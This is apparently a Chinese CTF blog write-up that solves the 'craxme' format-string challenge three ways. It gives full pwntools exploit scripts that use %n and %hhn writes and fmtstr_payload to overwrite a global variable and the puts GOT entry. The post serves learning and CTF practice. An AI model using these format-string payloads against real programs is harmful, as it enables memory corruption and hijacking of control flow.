還在補格式化字符串漏洞的知識,,,,看到這道題的時候,有點懵,,,因爲發現218不會整,,,看官方writeup也不太行,,,
先知社區上有篇講的就很好了,,,nice,用了四種方法(最後一種沒看懂,,,),,,看完,BJDCTF那道r2t4終於也明白了,感天動地,,,今天就寫下前三種方法的種種,,,
順便計算下偏移,反正都會用到
偏移是7
方法一
最簡單的一種
就是要通過格式化字符串寫漏洞,讓magic的地址變爲218
magic的地址,,,
這樣準備工作都完成了,思路就是將放上magic的地址,然後,就可以填充214個字節,然後偏移7個
語句是這樣的:p32(magic_addr)+"%0214c"+"%7$n"
放上32位地址 填充214字符 將前面的字節(214+4)寫入偏移也就是我們輸入的東西,magic
這樣就成功讓magic的內容爲218
完整exp
from pwn import *
p=process('./craxme')
magic_addr=0x0804A038
p.recvuntil(":")
payload=p32(magic_addr)+"%0214c"+"%7$n"
p.sendline(payload)
p.interactive()
方法二
這個是將magic覆蓋成那個很大的負數,這樣做也會麻煩一些了,,,
首先我們要將負數用十六進制表示出來
用電腦自帶的計算器,程序員模式就行
因爲大小端的緣故,我們填入的時候應該是
0c ==> b0 ==> ce ==> fa
發現剛好都是遞增,所以,我們可以一個字節一個字節分別寫入
意思就是0c寫入magic的地址,b0寫入magic+1(1個字節),ce寫入magic+2,fa寫入magic+3,一個地址是四個四節也就是magic~magic+3這個部分,,,
payload2 = p32(magic) + p32(magic+1) + p32(magic+2)+ p32(magic+3) #4x4=16
payload2 += '%252c%7$hhn' #252+16 =268-->0x10c
payload2 += '%164c%8$hhn' #268+164 = 432 -->0x1b0
payload2 += '%30c%9$hhn' #432+30 =462 -->0x1ce
payload2 += '%44c%10$hhn' #462+44 =506 -->0x1fa
【第一個0c是12但是前面的地址就有16所以只能多一位,後面1會被覆蓋,所以關係8大】
【%$hn表示寫入的地址空間爲2字節,%$hhn表示寫入的地址空間爲1字節,%$lln表示寫入的地址空間爲8字節】
完整exp:
#coding=utf-8
from pwn import *
p=process('./craxme')
magic_addr=0x0804A038
payload = p32(magic_addr)+p32(magic_addr+1)+p32(magic_addr+2)+p32(magic_addr+3)#4*4=16
payload += '%252c'+'%7$hhn'
payload += '%164c'+'%8$hhn'
payload += '%30c'+'%9$hhn'
payload += '%44c'+'%10$hhn'
p.recvuntil('magic :')
p.sendline(payload)
p.interactive()
【7,8,9,10那個想解釋一下,因爲自己剛開始看的時候有點迷,四個字節和一個字節的關係,,,沒錯,前面的數值會是四個字節,只是寫入的時候只寫入一個字節,%7$偏移剛好是輸入的那個東西,也就是第一行payload的p32(magic_addr),%8$走到的地方是payload的第二個p32(magic_addr+1),哈哈哈】
這裏我們還要介紹一個pwntools用於格式化字符串的函數,可以方便生成payload:
fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
第一個參數表示格式化字符串的偏移,這裏已經知道是7;
第二個參數表示需要利用%n寫入的數據,採用字典形式,我們要將printf的GOT數據改爲system函數地址,就寫成{printfGOT: systemAddress};
第三個參數表示已經輸出的字符個數,這裏沒有,爲0,採用默認值即可;
第四個參數表示寫入方式,是按字節(byte)、按雙字節(short)還是按四字節(int),對應着hhn、hn和n,默認值是byte,即按hhn寫。
fmtstr_payload函數返回的就是payload
也就是我們中間可以不用這樣一步步算出來,直接調用哪個函數,給出我們的偏移,地址,以及我們想要在地址裏面寫入的地址就行:
payload=fmtstr_payload(7,{magic_addr:0xfaceb00c})
方法三
第三種方法就是
我們用函數來直接實現
#coding=utf-8
from pwn import *
p=process('./craxme')
elf=ELF('./craxme')
puts_got=elf.got['puts']
magic_addr=0x0804a038
cat_flag=0x080485D8 #or 0x080485F6
payload=fmtstr_payload(7,{puts_got:cat_flag })
p.recvuntil('magic :')
p.sendline(payload)
p.interactive()
這裏需要修改的是got表,因爲puts函數根據plt會找到got表來執行,如果用了plt表,接下來還回去找got,,,